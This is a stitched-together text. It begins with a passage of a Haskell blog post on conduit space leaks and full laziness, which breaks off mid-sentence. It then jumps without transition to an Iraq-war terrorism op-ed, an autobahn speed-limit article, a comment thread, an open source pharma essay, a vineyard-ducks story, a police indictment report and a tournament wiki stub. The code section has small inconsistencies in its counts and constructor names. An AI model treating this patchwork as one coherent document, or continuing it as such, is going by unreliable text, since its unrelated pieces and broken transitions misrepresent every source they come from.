import qualified Data.Conduit as C countConduit :: Int -> C.Sink Char IO () countConduit cnt = do mi <- C.await case mi of Nothing -> liftIO (print cnt) Just _ -> countConduit $! cnt + 1 getConduit :: Int -> C.Source IO Char getConduit 0 = return () getConduit n = do ch <- liftIO getChar C.yield ch getConduit (n - 1 )
Here countConduit is a sink that counts the characters it receives from upstream, and getConduit n is a conduit that reads n characters from the console and passes them downstream.
To illustrate what might go wrong, we will use the following exception handler throughout this blog post5:
retry :: IO a -> IO a retry io = do ma <- try io case ma of Right a -> return a Left ( _ :: SomeException ) -> retry io
The important point to notice about this exception handler is that it retains a reference to the action io as it executes that action, since it might potentially have to execute it again if an exception is thrown. However, all the space leaks we discuss in this blog post arise even when an exception is never thrown and hence the action is run only once; simply maintaining a reference to the action until the end of the program is enough to cause the space leak.
If we use this exception handler as follows:
main :: IO () main = retry $ C.runConduit $ getConduit 1000000 C.=$= countConduit 0
we again end up with a large space leak, this time of type Pipe and ->Pipe ( conduit ’s internal type):
Although the values that stream through the conduit come from IO, the conduit itself is fully constructed and retained in memory. In this blog post we examine what exactly is being retained here, and why. We will finish with some suggestions on how to avoid such space-leaks, although sadly there is no easy answer. Note that these problems are not specific to the conduit library, but apply equally to all other similar libraries.
We will not assume any knowledge of conduit but start from first principles; however, if you have never used any of these libraries before this blog post is probably not the best starting point; you might for example first want to watch my presentation Lazy I/O and Alternatives in Haskell.
Lists
Before we look at the more complicated case, let’s first consider another program using just lists:
main :: IO () main = retry $ ni_mapM_ print [ 1.. 1000000 ]
This program suffers from a space leak for similar reasons to the example with lists we saw in the introduction, but it’s worth spelling out the details here: where exactly is the list being maintained?
Recall that the IO monad is effectively a state monad over a token RealWorld state (if that doesn’t make any sense to you, you might want to read ezyang’s article Unraveling the mystery of the IO monad first). Hence, ni_mapM_ (just a wrapper around mapM_ ) is really a function of three arguments: the action to execute for every element of the list, the list itself, and the world token. That means that
ni_mapM_ print [ 1.. 1000000 ]
is a partial application, and hence we are constructing a PAP object. Such a PAP object is an runtime representation of a partial application of a function; it records the function we want to execute ( ni_mapM_), as well as the arguments we have already provided. It is this PAP object that we give to retry, and which retry retains until the action completes because it might need it in the exception handler. The long list in turn is being retained because there is a reference from the PAP object to the list (as one of the arguments that we provided).
Full laziness does not make a difference in this example; whether or not that [1.. 10000000] expression gets floated out makes no difference.
Reminder: Conduits/Pipes
Just to make sure we don’t get lost in the details, let’s define a simple conduit-like or pipe-like data structure:
data Pipe i o m r = Yield o ( Pipe i o m r) | Await ( Either r i -> Pipe i o m r) | Effect (m ( Pipe i o m r)) | Done r
A pipe or a conduit is a free monad which provides three actions:
Yield a value downstream Await a value from upstream Execute an effect in the underlying monad.
The argument to Await is passed an Either ; we give it a Left value if upstream terminated, or a Right value if upstream yielded a value.1
This definition is not quite the same as the one used in real streaming libraries and ignores various difficulties (in particular exception safely, as well as other features such as leftovers); however, it will suffice for the sake of this blog post. We will use the terms “conduit” and “pipe” interchangeably in the remainder of this article.
Sources
The various Pipe constructors differ in their memory behaviour and the kinds of space leaks that they can create. We therefore consider them one by one. We will start with sources, because their memory behaviour is relatively straightforward.
A source is a pipe that only ever yields values downstream.2 For example, here is a source that yields the values [n, n-1.. 1] :
yieldFrom :: Int -> Pipe i Int m () yieldFrom 0 = Done () yieldFrom n = Yield n $ yieldFrom (n - 1 )
We could “run” such a pipe as follows:
printYields :: Show o => Pipe i o m () -> IO () printYields ( Yield o k) = print o >> printYields k printYields ( Done ()) = return ()
If we then run the following program:
main :: IO () main = retry $ printYields (yieldFrom 1000000 )
we get a space leak. This space leak is very similar to the space leak we discussed in section Lists above, with Done () playing the role of the empty list and Yield playing the role of (:). As in the list example, this program has a space leak independent of full laziness.
Sinks
A sink is a conduit that only ever awaits values from upstream; it never yields anything downstream.2 The memory behaviour of sinks is considerably more subtle than the memory behaviour of sources and we will examine it in detail. As a reminder, the constructor for Await is
data Pipe i o m r = Await ( Either r i -> Pipe i o m r) |...
As an example of a sink, consider this pipe that counts the number of characters it receives:
countChars :: Int -> Pipe Char o m Int countChars cnt = Await $ \mi -> case mi of Left _ -> Done cnt Right _ -> countChars $! cnt + 1
We could “run” such a sink by feeding it a bunch of characters; say, 1000000 of them:
feed :: Char -> Pipe Char o m Int -> IO () feed ch = feedFrom 10000000 where feedFrom :: Int -> Pipe Char o m Int -> IO () feedFrom _ ( Done r) = print r feedFrom 0 ( Await k) = feedFrom 0 $ k ( Left 0 ) feedFrom n ( Await k) = feedFrom (n - 1 ) $ k ( Right ch)
If we run this as follows and compile with optimizations enabled, we once again end up with a space leak:
main :: IO () main = retry $ feed 'A' (countChars 0 )
We can recover constant space behaviour by disabling full laziness; however, the effect of full laziness on this example is a lot more subtle than the example we described in the introduction.
Full laziness
Let’s take a brief moment to describe what full laziness is, exactly. Full laziness is one of the optimizations that ghc applies by default when optimizations are enabled; it is described in the paper “Let-floating: moving bindings to give faster programs”. The idea is simple; if we have something like
f = \x y -> let e =.. -- expensive computation involving x but not y in..
full laziness floats the let binding out over the lambda to get
f = \x = let e =.. in \y ->..
This potentially avoids unnecessarily recomputing e for different values of y. Full laziness is a useful transformation; for example, it turns something like
f x y =.. where go =.. -- some local function
into
f x y =.. f_go.. =..
which avoids allocating a function closure every time f is called. It is also quite a notorious optimization, because it can create unexpected CAFs (constant applicative forms; top-level definitions of values); for example, if you write
nthPrime :: Int -> Int nthPrime n = allPrimes!! n where allPrimes :: [ Int ] allPrimes =..
you might expect nthPrime to recompute allPrimes every time it is invoked; but full laziness might move that allPrimes definition to the top-level, resulting in a large space leak (the full list of primes would be retained for the lifetime of the program). This goes back to the point we made in the introduction: full laziness is taking away our ability to control when values are not shared.
Full laziness versus sinks
Back to the sink example. What exactly is full laziness doing here? Is it constructing a CAF we weren’t expecting? Actually, no; it’s more subtle than that. Our definition of countChars was
countChars :: Int -> Pipe Char o m Int countChars cnt = Await $ \mi -> case mi of Left _ -> Done cnt Right _ -> countChars $! cnt + 1
Full laziness is turning this into something more akin to
countChars' :: Int -> Pipe Char o m Int countChars' cnt = let k = countChars' $! cnt + 1 in Await $ \mi -> case mi of Left _ -> Done cnt Right _ -> k
Note how the computation of countChars' $! cnt + 1 has been floated over the lambda; ghc can do that, since this expression does not depend on mi. So in memory the countChars 0 expression from our main function (retained, if you recall, because of the surrounding retry wrapper), develops something like this. It starts of as a simple thunk:
Then when feed matches on it, it gets reduced to weak head normal form, exposing the top-most Await constructor:
The body of the await is a function closure pointing to the function inside countChars ( \mi -> case mi.. ), which has countChars $! (cnt + 1) as an unevaluated thunk in its environment. Evaluating it one step further yields
So where for a source the data structure in memory was a straightforward “list” consisting of Yield nodes, for a sink the situation is more subtle: we build up a chain of Await constructors, each of which points to a function closure which in its environment has a reference to the next Await constructor. This wouldn’t matter of course if the garbage collector could clean up after us; but if the conduit itself is shared, then this results in a space leak.
Without full laziness, incidentally, evaluating countChars 0 yields
and the chain stops there; the only thing in the function closure now is cnt. Since we don’t allocate the next Yield constructor before running the function, we never construct a chain of Yield constructors and hence we have no space leak.
Depending on values
It is tempting to think that if the conduit varies its behaviour depending on the values it receives from upstream the same chain
|
there is no doubt about that. It has strengthened rather than weakened al-Qaeda.
Here is the verdict of another respected London foreign-affairs think tank, Chatham House, reporting just 11 days after the 7/7 attacks:
There is no doubt that the situation over Iraq has imposed particular difficulties for the UK, and for the wider coalition against terrorism. It gave a boost to the al-Qaeda network's propaganda, recruitment and fundraising, caused a major split in the coalition, provided an ideal targeting and training area for al-Qaeda-linked terrorists and deflected resources and assistance that could have been deployed... to bring Bin Laden to justice.
Here's the verdict of the terrorism and al-Qaeda expert Rohan Gunaratna:
After al-Qaeda lost its Afghanistan base, it desperately needed another land of jihad in which to train and fight. Iraq has provided such a place... [T]he US invasion of Iraq increased the worldwide threat of terrorism many times over. Even moderate Muslims are angry about the invasion and post-invasion developments. This animosity toward the United States makes it easier for terrorist and extremist groups to continue to generate recruits and support from the suffering and grieving Muslims of Iraq.
Here's the verdict of a study conducted by al-Qaeda expert Peter Bergen, one of the few "terrorologists" to have met with Osama Bin Laden, and his colleague Paul Cruickshank:
Our study shows that the Iraq war has generated a stunning sevenfold increase in the yearly rate of fatal jihadist attacks, amounting to literally hundreds of additional terrorist attacks and thousands of civilian lives lost; even when terrorism in Iraq and Afghanistan is excluded, fatal attacks in the rest of the world have increased by more than one third. We are not making the argument that without the Iraq war, jihadist terrorism would not exist, but our study shows that the Iraq conflict has greatly increased the spread of the al-Qaeda ideological virus, as shown by a rising number of terrorist attacks in the past three years from London to Kabul, and from Madrid to the Red Sea.
Here is the verdict of Professor Robert Pape, the Chicago University political scientist who has studied every known case of suicide terrorism since 1980:
[I]n a broader sense, America has become perilously unsafe. Each month, there are more suicide terrorists trying to kill Americans and their allies in Afghanistan, Iraq, and other Muslim countries than in all the years before 2001 combined. From 1980 to 2003, there were 343 suicide attacks around the world, and at most 10 per cent were anti-American inspired. Since 2004, there have been more than 2,000, over 91 per cent against U.S. and allied forces in Afghanistan, Iraq, and other countries.
Here is the verdict of Marc Sageman, an expert on al-Qaeda and former CIA case officer, who has analysed the biographies of more than 500 terrorists:
This is especially true since the 2003 invasion of Iraq, which has inspired local young Muslims to strike out against the west. It seems clear that this invasion has created more terrorists in the west, refuting the thesis that "we are fighting them there, so we don't have to fight them here". The fact that these plots peaked in 2004, one year after the invasion of Iraq, provides empirical support linking the two events.
I mentioned Sageman and Pape to Rentoul on Twitter last night. As is so often the case with the hawks, when damning quotes, facts and empirical evidence are put to them, they dodge, evade and/or ignore. His response to me was:
I'm arguing with you, not Pape or Sageman.
Yet, only a few hours earlier, he had asked me:
What about engaging with Dearlove's argument?
So he is allowed to quote a discredited ex-MI6 chief, who is now employed by a firm with links to the Gaddafi family, and expect me to "engage", but I'm not supposed to quote Eliza Manningham-Buller, Stella Rimmington, the JIC, the NIC, the CIA, the IISS, Chatham House, Robert Pape, Marc Sageman or a study by Peter Bergen showing a "seven-fold increase" in al-Qaeda-inspired terrorist attacks in the wake of the Iraq war and then expect a response. Hmm.
To conclude, a reminder of the original question: did Iraq heighten the threat from terrorism and bolster al-Qaeda? I'm sorry to have to inform John Rentoul that this isn't one of those questions to which the answer is no.On some parts of the autobahn, drivers are free to go as fast as they wish. On other parts, there are speed limits of 60 to 75 mph. Here a sign displays a speed limit of 120 km/h (75 mph) on the highway near Salzgitter, Germany. (Julian Stratenschulte/EPA)
BERLIN — For many in this car-crazy nation, the freedom to hurtle down the famed autobahn at 120 mph or more is an inalienable right.
Germany, one of the world’s top car producers, is alone among industrial countries in allowing drivers to decide for themselves how fast to race along the highway. So a proposal this month to impose a speed limit of 75 mph has set off an election-year battle that has some people questioning a basic tenet of German identity.
The traffic-cop-like suggestion from a top opposition leader challenged Germans to pick two popular obsessions — safety and sustainability — over another: a seemingly primal need to use their 500-horsepower engines to catapult themselves across their country’s gently rolling countryside.
On speed limits, “the rest of the world has been doing it for a long time,” Sigmar Gabriel, chairman of the Social Democratic Party, told the Rheinische Post, adding that Germans should drive slower for safety. Traffic deaths have been dropping for years in Germany, but Gabriel said they would drop faster if there were a speed limit.
His proposal, which revived a decades-old discussion in Germany, was quickly disowned by other senior members of his party, although other Social Democrats and members of the Green Party quickly lined up in support. Last week, lawmakers debated the speed limit in Parliament — under a dome from which one can see the rotating logo of German car giant Mercedes-Benz dominating the skyline of western Berlin. They took no action, nor is any expected before September parliamentary elections.
View Graphic Road fatalities in Germany
On 60 percent of Germany’s autobahn, drivers are free to go as fast as they wish, and German-made BMWs and Mercedeses frequently shoot down the left lane at 120 mph. Elsewhere on the highways, usually in areas where traffic is heavier or near cities, there are speed limits of roughly 60 to 75 mph.
Speed limit advocates have appealed to the one thing that many Germans like almost as much as their cars — the environment — and that, in the end, may be what pushes the country to act. Driving more slowly reduces emissions and uses less gas, and at a time when Germany is moving ahead with plans to dramatically reduce greenhouse gas emissions, rocket-fast Porsches strike some here as a little hypocritical.
Opinion polls show Germans split over the idea, but the issue is so sensitive that it is unlikely to be acted upon until after the September balloting. Chancellor Angela Merkel opposes speed limits, although she is never seen behind the wheel, unlike her Audi-loving predecessor, Gerhard Schröder. Merkel’s Christian Democratic Union has a comfortable lead in the polls.
“There won’t be a general speed limit on Germany’s highways under my rule,” Transportation Minister Peter Ramsauer said in a statement. Ramsauer is an amateur pianist who in 2011 released a CD called “Adagio in the Auto,” on which he and other musicians played slow classical compositions intended to calm drivers as they navigated Germany’s 7,936 miles of autobahn.
Speed limits are deeply tied to Germany’s postwar identity. Adolf Hitler built up the country’s highway network, but the Nazis instituted a nationwide speed limit of 50 mph to conserve resources after World War II started in 1939. By 1953, with the country’s postwar industrial boom underway, speed limits for cars were eliminated. They were later added in cities and on some stretches of highway.
In a country so devoted to safety and sustainability that it is phasing out nuclear power in large part because of fears stemming from the 2011 Fukushima Daiichi nuclear accident in Japan, Germany’s strict adherence to fast driving seems incongruous.
“People think they have more freedom” without the speed limits, said Ferdinand Dudenhöffer, the director of the Center Automotive Research at the University of Duisburg-Essen, who added that he takes his BMW up to 115 mph if the road is clear but usually drives at 75. “You could compare it a little bit with the U.S. position of having guns.”
Dudenhöffer used to work for Porsche, where American buyers would occasionally come to pick up their cars and sample German roads, he said.
“But they would then just drive it at 60 miles an hour,” he said. “They weren’t used to driving 250 kilometers per hour,” or 150 mph, he said.
Germany’s roads, constructed to some of the strictest safety standards in the world, rank firmly in the middle of industrialized countries in terms of traffic deaths. For every billion miles driven on German roads, nine people were killed in accidents in 2011, according to figures to be released this week by the International Transport Forum of the Organization for Economic Cooperation and Development. In the United States, 10.9 people died for every billion miles driven, while in Britain, 6.3 people were killed.
Britain’s speed limit is 70 mph. U.S. speed limits are set by the states. The highest, 85 mph, is found in some parts of Texas. Most highways range between 65 and 75 mph, though in urban areas the limits are often lower.
German opponents of speed limits say drivers are smart enough not to go faster than is safe.
“We have a lot of motorway sections that have bottlenecks and congestion, so people are quite happy if they can drive a little bit faster on tracks where it’s possible,” said Jürgen Berlitz, a traffic expert at ADAC, a German drivers association.
But some say that argument is absurd given that 387 people died in accidents on the autobahn last year.
“If in Germany within one year, two fully booked airliners with 400 people crashed, what a debate about air traffic security we would have,” Stephan Kuehn, traffic policy spokesman for the Green Party, said in a parliamentary debate last week. “Every road traffic death and injury is one too many.”Resized to 92% of original ( view original Loading...
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Before commenting, read the how to comment guide. AZNPenetration almost 7 years ago Thank you, mister foreign speaker. I appreciate the translations. WAHa 06x36 almost 7 years ago Well, that was a lot more work than I foolishly had assumed earlier tonight, but there we go: A translation. shiroikaze almost 7 years ago WAHa_06x36 said:
Well, that was a lot more work than I foolishly had assumed earlier tonight, but there we go: A translation. Good work. Every translator here is always appreciated :). Disoriented almost 7 years ago Thank you translators, for introducing me to another artist who's sense of humor is made of win. Zaku Zelo almost 7 years ago Missed a bubble in the giraffe section.Citation: Balasegaram M, Kolb P, McKew J, Menon J, Olliaro P, Sablinski T, et al. (2017) An open source pharma roadmap. PLoS Med 14(4): e1002276. https://doi.org/10.1371/journal.pmed.1002276 Published: April 18, 2017 Copyright: © 2017 Balasegaram et al. This is an open access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: This article arose from a meeting funded in part by the Rockefeller Foundation and Open Society Foundations; the latter was at the time the employer of one of the authors (ET). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: TS is CEO and founder of Transparency Life Sciences and an employee of Auven Therapeutics, as well as owning equity in biotech companies. JM and MHT were members of a group that received a grant from Tata Trusts (India) in 2015 to establish the Open Source Pharma Foundation, a not-for-profit agency working in India to support open source drug discovery initiatives worldwide, in part by advocating the potential public health benefits of such initiatives. The Foundation was formally created in 2016 but has not at the time of writing begun operations. ZT was Project Director of the Open Source Drug Discovery Project, CSIR, India. MHT is founder of the Open Source Malaria Consortium. These are non-profit, government-led initiatives pursuing open models of drug discovery and development. Abbreviations: AMR, antimicrobial resistance; CC-BY, Creative Commons Attribution License; DNDi, Drugs for Neglected Diseases Initiative; IDDO, Infectious Diseases Data Observatory; MMV, Medicines for Malaria Venture; OI, open innovation; OS, open source; PDP, product development partnership; PPC, preferred product characteristic; PPP, public–private partnership; R&D, research and development; TB Alliance, Global Alliance for Tuberculosis Drug Development; TB-PACTS, TB-Platform for Aggregation of Clinical TB Studies; TPP, target product profile; WWARN, WorldWide Antimalarial Resistance Network Provenance: Not commissioned; externally peer reviewed
Summary points This Essay outlines how open source methods of working could be applied to the discovery and development of new medicines.
There are many potential advantages of an open source approach, such as improved efficiency, the quality and relevance of the research, and wider participation by the scientific and patient communities; a blend of traditional and innovative financing mechanisms will have to be adopted.
To evaluate properly the effectiveness of an open source methodology and its potential as an alternative model of drug discovery and development, we recommend that new projects be trialed and existing projects scaled up.
Where we stand The scientific and medical community has discovered and developed many groundbreaking medicines that have had a major impact on public health. However, drug development is challenged by a widening gap between health needs and the pharmaceutical industry’s motives and business model, alongside a decrease in efficiency per research dollar spent in medicinal product research and development (R&D), a trend known colloquially as Eroom’s Law [1]. Such fundamental challenges result in frequent high-level calls for new initiatives to develop therapeutics and bring them to market [2,3]. These include market push and pull mechanisms such as priority review vouchers, advance market commitments, and public R&D funding [4]. New organizational models have also emerged, including public–private partnerships (PPPs) [5] and not-for-profit product development partnerships (PDPs) (for example, the Drugs for Neglected Diseases Initiative [DNDi], the Medicines for Malaria Venture [MMV], and the Global Alliance for Tuberculosis Drug Development [TB Alliance]) that often apply a full “de-linkage” model in which the price of medicines and the cost of R&D are uncoupled [6,7].
Open source pharma An approach that has been suggested [8] but not yet fully evaluated is open source pharma. The term “open source” (OS) refers to radically transparent working practices pioneered in software development, such as the prepublication sharing of data and ideas, the possibility of participation in a project by anyone in real time, and a form of shared ownership that ensures that the underlying methods and data are public domain. In OS pharma, such principles would be applied from the discovery of a potential medicine through to its entry into the market; the impact of this, and the ease with which such principles can be applied, will vary at each stage of the process. OS must be distinguished from “open innovation” (OI), a term used widely in the pharmaceutical industry [9]. Both are characterized by a flow of ideas between problem owners and solvers, and both therefore harness the potential of unexpected contributions. In a typical OI initiative, it is the research problem that is public domain, while research solutions are subject to the usual structures of walled competition. In OS, the problem and all potential solutions are public domain. OS brings the greatest possible community involvement, but the transparency brings economic uncertainty in how to exploit the solutions. The underlying financial and legal structures of the pharmaceutical industry are designed for use by profit-making entities in ways that rely on monopolies, usually through patents. Under the current model, it is assumed that without exclusive ownership, there can be no guarantee of profit to shareholders—a disincentive for private sector investment in certain areas of health R&D, despite significant public investments. The requirement for a financial return causes the current system to follow priorities that can be misaligned with the greatest public health needs. The requirement for secrecy inevitably reduces the efficiency of the scientific research. The transparency at the heart of OS is thus fundamentally incompatible with traditional approaches to drug discovery and development. The involvement of the pharma industry in consortia that address neglected or tropical diseases (e.g., the Tuberculosis Drug Accelerator, which is invitation only and has no commitment to open data) ensures that a similar walled approach is usually taken even for diseases traditionally considered to yield a low return on investment. Thus, while OS working practices are well established in some areas of software development and have a growing impact in increasing the efficiency of basic science, they have not yet been broadly applied in medical product R&D, either in academia or industry [10]. It is tempting to ascribe this to an obvious distinction: software centers on a nonphysical entity (code) that may be easily copied. Drug R&D involves tangible, lengthy, and often expensive processes. Yet, this is to obfuscate the more important point: OS is a core set of principles (defining a way of working) that can be applied quite broadly. We propose that OS methods are a promising, yet largely untested, way to (1) increase the efficiency of the research process and (2) realign R&D to address the most pressing public health problems as opposed to the most promising market opportunities. The main disadvantage of OS is the uncertainty as to how it can be financed, due to the lack of a precedent. We foresee that approaches can be refined as more projects are developed following these principles and experience accumulates. The origin of this Essay lies in several meetings that took place to try to break this deadlock, beginning with a series of roundtable discussions [11]. There is a great deal yet to consider, debate, and try; and, as usual, the devil is in the details. This Essay is accompanied by a document (S1 Text) that lays out how the traditional structure of drug discovery and development would be impacted by an OS approach, and readers interested in the detail of the argument are directed there.
How OS pharma might be applied Medical R&D should respond to specific priority health needs. Opening up the R&D process to a wide range of contributors and stakeholders will allow the design of medicines that are better adapted to the needs of the end users, and will define the preferred product characteristics (PPCs) and target product profile (TPP) that will guide all the phases of product development. In OS, there are no insiders, meaning that strategic decisions may be made through informed community debate against the agreed-upon TPP. The broader community is thus involved in designing how a product will be developed, defining the studies that will be done, and establishing the criteria that will be applied for making stop/go decisions. In order to achieve this, investments are needed to build online communities and platforms that help groups collaborate effectively. In the early stages of drug discovery, involving compound screening and analog synthesis, there is a clear argument for an open community approach. Indeed, there is early precedent in this area, such as the crowdsourcing of bioinformatics [12], compound sharing [13,14] or screening [15–17] services, open-access target validation [18], and OS medicinal chemistry campaigns [19]. Project objectives can be tackled by any interested researcher or institution, and certain research problems would be amenable to solution by crowdsourcing from large student cohorts, for example. Incentives to participate will rely on a mixture of selfless (improving a public good) and selfish (publication authorship and community acclaim) motives that are compatible with both academia and industry, where such activities could be formally sanctioned (e.g., crowdsourced undergraduate lab classes, and strategic or pro bono industry contributions) or carried out informally (e.g., strategic advice, honest brokership, and student mentorship). Such motivations have been found to govern participation in OS software projects [20]. There is a great and acknowledged potential for greater transparency in these earlier stages, which, while often termed “pre-competitive,” are nonetheless traditionally secretive. As a candidate compound moves through development, the stakes are raised, and data become more complex and expensive to generate. The OS approach offers a number of advantages: broad stakeholder involvement has the potential to design trials that are better fit for purpose, as they include the views and requirements of both patients and health providers as to the key outcome measures, and enjoy contributions to study design and analysis by a range of experts in the field [21]. Clearly, there is an important responsibility borne by the community leaders of any OS endeavor to act as ultimate decision makers (“benign dictators” in software parlance) when a broad range of opinions are expressed or inputs received. As data are generated, there is a public-health imperative to make these data available in a timely fashion [22,23]. The continual process of transparent, unrestricted peer review of data at the heart of OS produces outcomes that may ultimately be more robust. Examples of different models whereby clinical data are being shared have started to accumulate, e.g., in the public and not-for-profit sector (the TB-Platform for Aggregation of Clinical TB Studies [TB-PACTS] for tuberculosis [24], the WorldWide Antimalarial Resistance Network [WWARN] for malaria [25], and the Infectious Diseases Data Observatory [IDDO] for Ebola [26]) as well as in the pharmaceutical industry (Clinical Study DataRequest [27]); clearly, in any such platform it is essential that patient confidentiality be protected. Transparency will help to ensure that the clinical research meets all current ethical criteria and that the appropriate standards are not compromised by any push to reduce costs. An area in which OS could be particularly productive is drug repurposing, whereby existing drugs or candidates are found to have potential for the treatment of another disease and for which there exists a significant amount of preclinical and possibly clinical data; this is a strategy of interest for the recent Zika outbreak [28]. Should this information be shared, R&D risks, time, and costs for the new indication would be significantly reduced. A relevant example is the sleeping sickness drug candidate fexinidazole; all preclinical data were published online [29], which prompted studies in another indication (leishmaniasis) by another group [30]. Such unrestricted “reuse” of existing data is a core aspect of OS approaches and allows the rapid building of new projects from existing ones by distinct teams of researchers. OS ultimately fosters an R&D system that is less wasteful: in the event a project is halted, all data (including negative findings) remain in the public domain, allowing similarly informed decisions by other parties in the future. It is estimated that 85% of the US$200 billion/year spent globally on health and medical research is “wasted,” primarily because information is not shared (~50% of registered clinical trials are never published in full, and ~50% of those published are not sufficiently complete for others to interpret, use, or replicate the research correctly), meaning that new studies cannot take advantage of previous research [31,32] and patients are exposed to undue risk [33]. The approval process for a drug originating from an OS process will require that drug to have an “applicant” who bears responsibility for the process in the same way as any other drug approval. While this lacks an OS precedent to our knowledge, existing PPPs or nonprofit groups could in theory shoulder this burden should a sufficiently attractive therapeutic candidate emerge, as has been the case for rectal artesunate [34]. The manufacture and distribution becomes an issue of market dynamics centered within the generics industry, facilitated by a derivative of the Creative Commons Attribution License (CC-BY), suitably adapted to pharmaceutical products, which would allow data to be shared, adapted, and used (including for the purpose of making a profit, if such a route can be found) on the sole condition that the creator is appropriately credited [35]. Openness permits reuse and is a barrier to exclusivity. If a promising drug candidate addressing a major public health burden is generated through this process, it would be expected that significant public and philanthropic funds would be available for further development. Such is already the case in the field of poverty-related infectious diseases and neglected tropical diseases, in which there is a traditional type of what is often termed “market failure,” and other financing mechanisms, such as crowdfunding [36] and prizes [37], are being piloted. There are recent precedents of drugs being taken through such stages with government or philanthropic money and in the absence of patent protection [38], as well as an increasing number of major new funding mechanisms designed to assist with such efforts [39]. We see OS as a key means to achieve the aims of the London Declaration [40] and OS projects as good candidates for support from the proposed Pooled Fund [41]. Several innovative financing mechanisms have been created for global health [42], and these could possibly be leveraged to support global health R&D. Yet the potential is broader. The enormous toll on our society from cancer led former United States Vice President Biden to urge researchers to “break down silos and bring all the cancer fighters together—to work together, share information, and end cancer as we know it” as part of the Cancer Moonshot initiative [43]. There are persistent calls for new approaches to the development of antibacterials to counteract the looming threat of antimicrobial resistance (AMR) [44]. Given the magnitude of the problem of dementia, it is conceivable that governments of countries in which the population is shifting progressively towards old-age citizens would be willing to invest in the development of affordable treatments (in ways that the private sector cannot) [45], rather than being overwhelmed by the eventual costs of patient care (US$226 billion in 2015 for dementia in the US alone) [46]. Consortia and funds are being established to tackle these threats without correspondingly new approaches in how the underlying research is being conducted. We see OS as providing that genuinely new approach.
A competing model Drug development following a traditional secretive model but funded by governments has been attempted. OS drug development (funded from whatever source) has not. Given society’s continued unmet medical needs and the scientific, efficiency, and ethical imperatives that exist to change the way in which we encourage medical innovation, there is a strong need to try alternative systems. We have the technologies to allow massive data sharing and crowdsourcing of research in real time. Furthermore, the borderless nature of OS work makes an R&D program amenable to a wide range of different funders working cooperatively, safe in the knowledge that the funding is not supporting any unnecessary duplication of effort. One can envisage an organizational structure for OS pharma involving (1) an overarching organization that manages the legal and regulatory aspects of running projects, (2) projects themselves that are funded (by those stakeholders with the relevant resources) to achieve specific milestones, and (3) a collaboration between a funded scientific core and the wider scientific community that is able to respond to project needs by virtue of the openness of the process. Traditional funding from public or philanthropic sources could (1) leverage other investments from the private sector for specific project hurdles, and (2) stimulate significant in-kind contributions from individuals or organizations interested in the solution of a problem or demonstration of expertise. Communities of experts tend to coalesce around an OS project [47], lending it a significant research momentum that makes it competitive with more traditional closed approaches. In November 2015, the United Nations Secretary General established a High-Level Panel to find solutions to promote innovation and access to medicines, vaccines, and diagnostics to ensure the health and well-being of all, realizing that the current commercially driven system based on intellectual property rights fails to do so [48]. The report recommended that “the world must take bold new approaches to both health technology innovation and ensuring access so that all people can benefit from the medical advances that have dramatically improved the lives of millions around the world in the last century.” If current calls for radical new approaches to solving major problems in public health are serious, then solutions that seem risky precisely because they subvert our traditional approaches should be embraced. OS pharma has that potential and should be trialed robustly as an alternative, competing model and one that brings genuinely fresh and powerful new methods to bear on our most serious public health challenges.
Supporting information S1 Text. Article containing details of the OS pharma roadmap. This longer article originated from the first Open Source Pharma Meeting in Bellagio, Italy, July 2014. https://doi.org/10.1371/journal.pmed.1002276.s001 (DOCX)
Acknowledgments We would like to thank the Rockefeller Foundation for hosting a meeting that acted as the stimulus for this article and Open Society Foundations for support of that meeting, the delegates of which are thanked for stimulating discussions. The authors alone are responsible for the views expressed in this publication, which do not necessarily represent the decisions, policy, or views of their employing organizations.Advertisement
At 9.45 a.m. each day, more than 1,000 Indian Runner ducks are released for the first of two sorties at South Africa’s Vergenoegd vineyard in Stellenbosch.
Their mission: seek and eat thousands of tiny white dune snails feasting on budding vines.
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On a similar sized farm, growers could spend about 50,000 rand ($3,200) a season for pesticides, compared with 30,000 for just a month on ducks, which are kept in protective pens and are fed grain to augment their snail diet, said Jacobs.CARTERET, NJ — A Carteret police officer — who is also the mayor's brother — was indicted last Thursday, Sept. 28 for assaulting and causing significant bodily injury to a teenager during an arrest. That's the teen above, in a photo released by his family, who asked the media to widely share it.
Carteret Police Officer Joseph Reiman, 31, was charged with one count of aggravated assault in the third degree and three counts of official misconduct in the second degree for assaulting the teenager, failing to
activate his body-worn camera, and failing to use reasonable discretion or restraint in the amount of force used to apprehend the teenager, Middlesex County prosecutors announced last week. Officer Reiman is the brother of Carteret Mayor Dan Reiman, who showed cautious support for his brother when he was first arrested in June, in this Facebook post, urging the public not to "scapegoat" his brother.
Related: Carteret Police Officer Charged With Beating Of Teen
The investigation determined that on May 31, while on official duty and in a patrol car, Officer Reiman was pursuing a teenage driver, who then crashed his car into a utility pole guide wire; the airbags deployed. The teen is 16 and under the legal driving age in New Jersey. After the teenager exited his vehicle, Officer Reiman, while on top of the teen, punched the teen several times with a closed fist, Middlesex County prosecutors says. Following the assault, an ambulance was not called to the scene. Instead, the teenager was placed in a patrol car.
The boy's family said he was a victim of police brutality. Reiman was placed on restrictive duty after his arrest.
Anyone with information is asked to call Detective Zebib of the Middlesex County Prosecutor's Office at (732) 745-4274, or Capt. Dammann of the Carteret Police Department at (732) 541-3898.Overview [ edit ]
The HomeStory Cup VIII North American Qualifier will allow one player to qualify.
Format [ edit ]
Single-elimination bracket.
Until Ro32, map is chosen for each round and matches are Bo1.
Starting at Ro16, matches are Bo3.
Finals is Bo5.
Winner receive a paid trip to Home Story Cup VIII.
Prize Pool [ edit ]
Notable Participants [ edit ]
Results [ edit ]
From Ro32 onwards (see full bracket here)
